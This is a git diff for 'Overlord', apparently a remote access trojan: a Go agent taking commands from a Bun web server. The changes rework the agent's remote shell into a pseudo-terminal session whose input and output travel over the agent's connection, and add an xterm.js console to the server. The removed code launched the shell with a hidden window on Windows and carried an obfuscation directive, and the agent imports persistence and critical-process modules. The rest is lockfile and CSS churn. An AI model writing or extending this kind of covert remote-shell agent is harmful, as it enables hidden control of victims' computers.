diff --git a/Overlord-Client/cmd/agent/console/console.go b/Overlord-Client/cmd/agent/console/console.go deleted file mode 100644 index e6c4439..0000000 --- a/Overlord-Client/cmd/agent/console/console.go +++ /dev/null @@ -1,175 +0,0 @@ -package console - -import ( - "context" - "errors" - "io" - "os" - "os/exec" - "runtime" - "sync" - - rt "overlord-client/cmd/agent/runtime" - "overlord-client/cmd/agent/wire" -) - -type session struct { - id string - cmd *exec.Cmd - stdin io.WriteCloser - cancel context.CancelFunc - env *rt.Env - closed chan struct{} - once sync.Once -} - -var sessions sync.Map - -func shellCommand() []string { - if runtime.GOOS == "windows" { - return []string{"cmd.exe", "/d"} - } - - return []string{"/bin/sh"} -} - -func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error { - //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 - if sessionID == "" { - return errors.New("session id required") - } - - Stop(sessionID) - - parts := shellCommand() - cctx, cancel := context.WithCancel(ctx) - cmd := exec.CommandContext(cctx, parts[0], parts[1:]...) - if attr := platformSysProcAttr(); attr != nil { - cmd.SysProcAttr = attr - } - cmd.Env = append(os.Environ(), "CLINK_NOAUTORUN=1") - - stdin, err := cmd.StdinPipe() - if err != nil { - cancel() - return err - } - stdout, err := cmd.StdoutPipe() - if err != nil { - cancel() - return err - } - stderr, err := cmd.StderrPipe() - if err != nil { - cancel() - return err - } - - if err := cmd.Start(); err != nil { - cancel() - return err - } - - sess := &session{id: sessionID, cmd: cmd, stdin: stdin, cancel: cancel, env: env, closed: make(chan struct{})} - sessions.Store(sessionID, sess) - - go sess.forwardOutput(stdout) - go sess.forwardOutput(stderr) - go sess.waitExit() - - return nil -} - -func Stop(sessionID string) { - val, ok := sessions.LoadAndDelete(sessionID) - if !ok { - return - } - sess := val.(*session) - sess.cancel() - if sess.cmd.Process != nil { - _ = sess.cmd.Process.Kill() - } - sess.once.Do(func() { close(sess.closed) }) -} - -func Input(sessionID string, data string) error { - val, ok := sessions.Load(sessionID) - if !ok { - return errors.New("session not found") - } - sess := val.(*session) - if sess.stdin == nil { - return errors.New("stdin missing") - } - _, err := sess.stdin.Write([]byte(data)) - return err -} - -func Resize(_ string, _ int, _ int) { - -} - -func (s *session) forwardOutput(r io.Reader) { - buf := make([]byte, 4096) - for { - n, err := r.Read(buf) - if n > 0 { - clean := stripBackspaces(buf[:n]) - if len(clean) > 0 { - _ = sendOutput(s.env, s.id, clean, nil, "") - } - } - if err != nil { - return - } - } -} - -func (s *session) waitExit() { - err := s.cmd.Wait() - var codePtr *int - msg := "" - if err != nil { - if exitErr, ok := err.(*exec.ExitError); ok { - code := exitErr.ExitCode() - codePtr = &code - } else { - msg = err.Error() - } - } else { - code := 0 - codePtr = &code - } - _ = sendOutput(s.env, s.id, nil, codePtr, msg) - sessions.Delete(s.id) - s.once.Do(func() { close(s.closed) }) -} - -func sendOutput(env *rt.Env, sessionID string, data []byte, exitCode *int, errMsg string) error { - payload := wire.ConsoleOutput{Type: "console_output", SessionID: sessionID} - if len(data) > 0 { - payload.Data = data - } - if errMsg != "" { - payload.Error = errMsg - } - if exitCode != nil { - payload.ExitCode = exitCode - } - return wire.WriteMsg(context.Background(), env.Conn, payload) -} - -func stripBackspaces(src []byte) []byte { - out := make([]byte, 0, len(src)) - for _, b := range src { - if b == '\b' { - if len(out) > 0 { - out = out[:len(out)-1] - } - continue - } - out = append(out, b) - } - return out -} diff --git a/Overlord-Client/cmd/agent/console/sysproc_other.go b/Overlord-Client/cmd/agent/console/sysproc_other.go deleted file mode 100644 index 04f49ed..0000000 --- a/Overlord-Client/cmd/agent/console/sysproc_other.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build !windows - -package console - -import "syscall" - -func platformSysProcAttr() *syscall.SysProcAttr { - return nil -} diff --git a/Overlord-Client/cmd/agent/console/sysproc_windows.go b/Overlord-Client/cmd/agent/console/sysproc_windows.go deleted file mode 100644 index 3abc35b..0000000 --- a/Overlord-Client/cmd/agent/console/sysproc_windows.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build windows - -package console - -import "syscall" - -func platformSysProcAttr() *syscall.SysProcAttr { - return &syscall.SysProcAttr{HideWindow: true} -} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index d266139..daa3db1 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -16,7 +16,6 @@ import ( "overlord-client/cmd/agent/audio" "overlord-client/cmd/agent/capture" - "overlord-client/cmd/agent/console" "overlord-client/cmd/agent/criticalproc" "overlord-client/cmd/agent/filesearch" "overlord-client/cmd/agent/persistence" @@ -1856,7 +1855,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if sessionID == "" { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"}) } - if err := console.Start(ctx, env, sessionID, cols, rows); err != nil { + if err := env.Console.Start(ctx, runtime.ConsoleStartRequest{SessionID: sessionID, Cols: cols, Rows: rows}); err != nil { _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) return nil } @@ -1865,21 +1864,21 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sessionID, _ := envelopePayloadString(envelope, "sessionId") data, _ := envelopePayloadString(envelope, "data") if sessionID != "" && data != "" { - _ = console.Input(sessionID, data) + _ = env.Console.Write(ctx, sessionID, data) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "console_stop": sessionID, _ := envelopePayloadString(envelope, "sessionId") if sessionID != "" { - console.Stop(sessionID) + env.Console.Stop(sessionID) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "console_resize": - sessionID, _ := envelopePayloadString(envelope, "sessionId") cols, rows := envelopePayloadInts(envelope) - _ = sessionID - console.Resize(sessionID, cols, rows) + if sessionID != "" { + _ = env.Console.Resize(sessionID, cols, rows) + } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "voice_session_start": sessionID, _ := envelopePayloadString(envelope, "sessionId") diff --git a/Overlord-Client/cmd/agent/runtime/console.go b/Overlord-Client/cmd/agent/runtime/console.go index e7f8383..74993f6 100644 --- a/Overlord-Client/cmd/agent/runtime/console.go +++ b/Overlord-Client/cmd/agent/runtime/console.go @@ -5,14 +5,10 @@ import ( "fmt" "io" "os" - "os/exec" "runtime" "sync" - "syscall" "overlord-client/cmd/agent/wire" - - "github.com/creack/pty" ) type ConsoleHub struct { @@ -23,8 +19,7 @@ type ConsoleHub struct { type ConsoleSession struct { id string - cmd *exec.Cmd - pty *os.File + pty ptyHandle cancel context.CancelFunc once sync.Once } @@ -35,6 +30,12 @@ type ConsoleStartRequest struct { Rows int } +type ptyHandle interface { + io.ReadWriteCloser + Resize(cols, rows uint16) error + Wait() (int, error) +} + func NewConsoleHub(env *Env) *ConsoleHub { return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)} } @@ -62,22 +63,19 @@ func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error { shell := detectShell() sessionCtx, cancel := context.WithCancel(ctx) - cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...) - cmd.Env = os.Environ() - - ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows}) + handle, err := startPty(sessionCtx, shell, cols, rows) if err != nil { cancel() - h.emitError(ctx, req.SessionID, err) + h.emitError(req.SessionID, err) return err } - sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel} + sess := &ConsoleSession{id: req.SessionID, pty: handle, cancel: cancel} h.mu.Lock() h.sessions[req.SessionID] = sess h.mu.Unlock() - go h.forwardOutput(sessionCtx, sess) + go h.forwardOutput(sess) return nil } @@ -101,7 +99,7 @@ func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error { if rows <= 0 { rows = 36 } - return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)}) + return sess.pty.Resize(uint16(cols), uint16(rows)) } func (h *ConsoleHub) Stop(sessionID string) { @@ -129,28 +127,27 @@ func (h *ConsoleHub) StopAll() { } } -func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) { +func (h *ConsoleHub) forwardOutput(sess *ConsoleSession) { + writeCtx := context.Background() + buf := make([]byte, 4096) for { n, err := sess.pty.Read(buf) if n > 0 { chunk := make([]byte, n) copy(chunk, buf[:n]) - _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk}) + _ = wire.WriteMsg(writeCtx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk}) } if err != nil { if err != io.EOF { - h.emitError(ctx, sess.id, err) + h.emitError(sess.id, err) } break } } - if sess.cmd != nil { - _ = sess.cmd.Wait() - } - exitCode := extractExitCode(sess.cmd) - _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode}) + exitCode, _ := sess.pty.Wait() + _ = wire.WriteMsg(writeCtx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode}) h.mu.Lock() delete(h.sessions, sess.id) @@ -158,8 +155,8 @@ func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) { sess.close() } -func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) { - _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()}) +func (h *ConsoleHub) emitError(sessionID string, err error) { + _ = wire.WriteMsg(context.Background(), h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()}) } func (h *ConsoleHub) get(sessionID string) *ConsoleSession { @@ -173,9 +170,6 @@ func (sess *ConsoleSession) close() { if sess.cancel != nil { sess.cancel() } - if sess.cmd != nil && sess.cmd.Process != nil { - _ = sess.cmd.Process.Kill() - } if sess.pty != nil { _ = sess.pty.Close() } @@ -197,13 +191,3 @@ func detectShell() []string { } return []string{"/bin/bash", "-l"} } - -func extractExitCode(cmd *exec.Cmd) int { - if cmd == nil || cmd.ProcessState == nil { - return -1 - } - if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok { - return status.ExitStatus() - } - return -1 -} diff --git a/Overlord-Client/cmd/agent/runtime/console_unix.go b/Overlord-Client/cmd/agent/runtime/console_unix.go new file mode 100644 index 0000000..ea63360 --- /dev/null +++ b/Overlord-Client/cmd/agent/runtime/console_unix.go @@ -0,0 +1,59 @@ +//go:build !windows + +package runtime + +import ( + "context" + "os" + "os/exec" + "syscall" + + "github.com/creack/pty" +) + +type unixPty struct { + f *os.File + cmd *exec.Cmd +} + +func (u *unixPty) Read(p []byte) (int, error) { return u.f.Read(p) } +func (u *unixPty) Write(p []byte) (int, error) { return u.f.Write(p) } + +func (u *unixPty) Close() error { + if u.cmd != nil && u.cmd.Process != nil { + _ = u.cmd.Process.Kill() + } + return u.f.Close() +} + +func (u *unixPty) Resize(cols, rows uint16) error { + return pty.Setsize(u.f, &pty.Winsize{Cols: cols, Rows: rows}) +} + +func (u *unixPty) Wait() (int, error) { + if u.cmd == nil { + return -1, nil + } + err := u.cmd.Wait() + if err != nil { + if ee, ok := err.(*exec.ExitError); ok { + if status, ok := ee.Sys().(syscall.WaitStatus); ok { + return status.ExitStatus(), nil + } + return ee.ExitCode(), nil + } + return -1, err + } + return 0, nil +} + +func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) { + cmd := exec.CommandContext(ctx, shell[0], shell[1:]...) + cmd.Env = append(os.Environ(), "TERM=xterm-256color") + + f, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows}) + if err != nil { + return nil, err + } + return &unixPty{f: f, cmd: cmd}, nil +} diff --git a/Overlord-Client/cmd/agent/runtime/console_windows.go b/Overlord-Client/cmd/agent/runtime/console_windows.go new file mode 100644 index 0000000..97a1663 --- /dev/null +++ b/Overlord-Client/cmd/agent/runtime/console_windows.go @@ -0,0 +1,49 @@ +//go:build windows + +package runtime + +import ( + "context" + "strings" + + "github.com/UserExistsError/conpty" +) + +type winPty struct { + cp *conpty.ConPty + waitCh chan waitResult +} + +type waitResult struct { + code int + err error +} + +func (w *winPty) Read(p []byte) (int, error) { return w.cp.Read(p) } +func (w *winPty) Write(p []byte) (int, error) { return w.cp.Write(p) } +func (w *winPty) Close() error { return w.cp.Close() } + +func (w *winPty) Resize(cols, rows uint16) error { + return w.cp.Resize(int(cols), int(rows)) +} + +func (w *winPty) Wait() (int, error) { + res := <-w.waitCh + return res.code, res.err +} + +func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) { + cmdline := strings.Join(shell, " ") + + cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows))) + if err != nil { + return nil, err + } + + w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)} + go func() { + code, werr := cp.Wait(context.Background()) + w.waitCh <- waitResult{code: int(code), err: werr} + }() + return w, nil +} diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod index e5e36f6..c65ed7d 100644 --- a/Overlord-Client/go.mod +++ b/Overlord-Client/go.mod @@ -13,6 +13,7 @@ require ( require ( github.com/Kirizu-Official/windows-camera-go v0.2.0 + github.com/UserExistsError/conpty v0.1.4 github.com/gen2brain/malgo v0.11.24 github.com/gen2brain/shm v0.1.0 github.com/jezek/xgb v1.1.1 diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum index 80cd9f7..f9e4cf4 100644 --- a/Overlord-Client/go.sum +++ b/Overlord-Client/go.sum @@ -1,5 +1,7 @@ github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g= github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ= +github.com/UserExistsError/conpty v0.1.4 h1:+3FhJhiqhyEJa+K5qaK3/w6w+sN3Nh9O9VbJyBS02to= +github.com/UserExistsError/conpty v0.1.4/go.mod h1:PDglKIkX3O/2xVk0MV9a6bCWxRmPVfxqZoTG/5sSd9I= github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -86,6 +88,7 @@ golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtC golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo= golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y= golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index be8377e..15a09be 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -1,26 +1,15 @@ { "lockfileVersion": 1, - "configVersion": 1, "workspaces": { "": { "name": "overlord-server", "dependencies": { - "@fontsource/inter": "^5.2.8", - "@fontsource/jetbrains-mono": "^5.2.8", - "@fortawesome/fontawesome-free": "6.5.2", "@msgpack/msgpack": "^3.0.0", "@solana/web3.js": "^1.98.4", - "ace-builds": "1.36.5", "adm-zip": "^0.5.12", - "animejs": "3.2.2", "ansi-to-html": "0.7.2", - "chart.js": "4.4.0", - "codemirror": "5.65.16", - "flag-icons": "latest", "geoip-lite": "latest", - "highlight.js": "11.9.0", "jose": "^6.1.3", - "leaflet": "1.9.4", "msgpackr": "1.11.8", "sharp": "^0.34.5", "uuid": "^9.0.1", @@ -28,13 +17,26 @@ "winston": "^3.11.0", }, "devDependencies": { + "@fontsource/inter": "^5.2.8", + "@fontsource/jetbrains-mono": "^5.2.8", + "@fortawesome/fontawesome-free": "6.5.2", "@tailwindcss/cli": "^4.1.18", "@types/bun": "^1.3.9", "@types/geoip-lite": "latest", "@types/uuid": "^9.0.7", + "@xterm/addon-fit": "^0.11.0", + "@xterm/addon-web-links": "^0.12.0", + "@xterm/xterm": "^6.0.0", + "ace-builds": "1.36.5", + "animejs": "3.2.2", "autoprefixer": "^10.4.23", + "chart.js": "4.4.0", "clean-css": "^5.3.3", + "codemirror": "5.65.16", + "flag-icons": "latest", + "highlight.js": "11.9.0", "html-minifier-terser": "^7.2.0", + "leaflet": "1.9.4", "postcss": "^8.5.6", "tailwindcss": "^4.1.18", "terser": "^5.46.1", @@ -225,6 +227,12 @@ "@types/ws": ["@types/ws@7.4.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww=="], + "@xterm/addon-fit": ["@xterm/addon-fit@0.11.0", "", {}, "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g=="], + + "@xterm/addon-web-links": ["@xterm/addon-web-links@0.12.0", "", {}, "sha512-4Smom3RPyVp7ZMYOYDoC/9eGJJJqYhnPLGGqJ6wOBfB8VxPViJNSKdgRYb8NpaM6YSelEKbA2SStD7lGyqaobw=="], + + "@xterm/xterm": ["@xterm/xterm@6.0.0", "", {}, "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg=="], + "ace-builds": ["ace-builds@1.36.5", "", {}, "sha512-mZ5KVanRT6nLRDLqtG/1YQQLX/gZVC/v526cm1Ru/MTSlrbweSmqv2ZT0d2GaHpJq035MwCMIrj+LgDAUnDXrg=="], "acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="], @@ -537,6 +545,8 @@ "yauzl": ["yauzl@3.2.1", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A=="], + "@emnapi/runtime/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + "@solana/errors/chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], "@solana/errors/commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="], @@ -577,6 +587,34 @@ "terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-N10dEJNSsUx41Z6pZsXU8FjPjpBEplgH24sfkmITrBED1/U2Esum9F3lfLrMjKHHjmi557zQn7kR9R+XWXu5Rg=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core": ["@emnapi/core@1.9.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-mukuNALVsoix/w1BJwFzwXBN/dHeejQtuVzcDsfOEsdpCumXb/E9j8w11h5S54tT1xhifGfbbSm/ICrObRb3KA=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], + + "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + "color/color-convert/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="], + + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core/@emnapi/wasi-threads/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-N10dEJNSsUx41Z6pZsXU8FjPjpBEplgH24sfkmITrBED1/U2Esum9F3lfLrMjKHHjmi557zQn7kR9R+XWXu5Rg=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/runtime/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@tybys/wasm-util/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core/@emnapi/wasi-threads/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], } } diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index f338407..f2e4311 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -35,6 +35,9 @@ "@types/bun": "^1.3.9", "@types/geoip-lite": "latest", "@types/uuid": "^9.0.7", + "@xterm/addon-fit": "^0.11.0", + "@xterm/addon-web-links": "^0.12.0", + "@xterm/xterm": "^6.0.0", "ace-builds": "1.36.5", "animejs": "3.2.2", "autoprefixer": "^10.4.23", diff --git a/Overlord-Server/public/assets/console.css b/Overlord-Server/public/assets/console.css index 56e6bba..ce380c7 100644 --- a/Overlord-Server/public/assets/console.css +++ b/Overlord-Server/public/assets/console.css @@ -10,58 +10,39 @@ flex-direction: column; } -.console-topbar { - position: sticky; - top: 0; - z-index: 10; - display: flex; - align-items: center; - justify-content: space-between; - gap: 10px; - padding: 14px 18px; - background: rgba(7, 12, 22, 0.9); - border-bottom: 1px solid rgba(255, 255, 255, 0.06); - backdrop-filter: blur(10px); -} - -.console-topbar .brand { - display: inline-flex; - align-items: center; - gap: 10px; - font-weight: 600; - letter-spacing: 0.3px; -} - -.console-topbar .console-actions { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; -} - .console-main { flex: 1; padding: 18px; - display: grid; - place-items: center; + box-sizing: border-box; } .console-card { - width: min(1100px, 96vw); + max-width: 1280px; + width: 100%; + margin: 0 auto; + box-sizing: border-box; background: rgba(8, 12, 22, 0.8); border: 1px solid rgba(255, 255, 255, 0.05); border-radius: 14px; box-shadow: 0 20px 50px rgba(0, 0, 0, 0.4); display: flex; flex-direction: column; - gap: 14px; - padding: 16px; + gap: 12px; + padding: 14px; +} + +.console-header { + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + flex-wrap: wrap; } .console-meta { display: grid; - grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); - gap: 10px; + grid-template-columns: repeat(auto-fit, minmax(120px, max-content)); + gap: 14px 24px; color: #a9b8d4; } @@ -70,67 +51,37 @@ color: #e5edff; } -.console-output { - min-height: 420px; - max-height: 70vh; +.console-toolbar { + display: flex; + align-items: center; + gap: 8px; + flex-wrap: wrap; +} + +.console-terminal { + min-height: 65vh; width: 100%; - max-width: 100%; - min-width: 0; background: #050913; border: 1px solid rgba(255, 255, 255, 0.06); border-radius: 12px; - padding: 14px; - overflow: auto; - overflow-x: auto; - box-sizing: border-box; - white-space: normal; - text-align: left; - overflow-wrap: normal; - word-break: normal; - line-height: 1.5; - font-size: 14px; - color: #e8edf2; - box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.02); -} - -.console-pre { - margin: 0; - white-space: pre; - display: block; - width: max-content; - min-width: 0; - text-align: left; -} - -.console-input-row { - display: flex; - gap: 10px; - align-items: center; - background: rgba(255, 255, 255, 0.02); - border: 1px solid rgba(255, 255, 255, 0.06); - border-radius: 10px; padding: 10px 12px; + box-sizing: border-box; + box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.02); + overflow: hidden; } -.console-input-row .prompt { - color: #6ee7b7; +.console-terminal .xterm, +.console-terminal .xterm-viewport, +.console-terminal .xterm-screen { + background: transparent !important; } -.console-input-row textarea { - flex: 1; - resize: vertical; - min-height: 44px; - max-height: 160px; - background: transparent; - border: none; - color: #e8edf2; - font-size: 14px; - outline: none; +.console-terminal .xterm-viewport::-webkit-scrollbar { + width: 10px; } - -.console-buttons { - display: flex; - gap: 8px; +.console-terminal .xterm-viewport::-webkit-scrollbar-thumb { + background: rgba(255, 255, 255, 0.12); + border-radius: 8px; } .btn, @@ -160,12 +111,35 @@ background: rgba(255, 255, 255, 0.06); } -.status-pill { - padding: 8px 12px; +.pill { + padding: 6px 10px; border-radius: 999px; - font-size: 13px; + font-size: 12px; border: 1px solid rgba(255, 255, 255, 0.14); background: rgba(255, 255, 255, 0.04); + display: inline-flex; + align-items: center; + gap: 6px; +} + +.pill i { + font-size: 8px; +} + +.pill.pill-online { + color: #6ee7b7; + border-color: rgba(110, 231, 183, 0.35); + background: rgba(110, 231, 183, 0.08); +} + 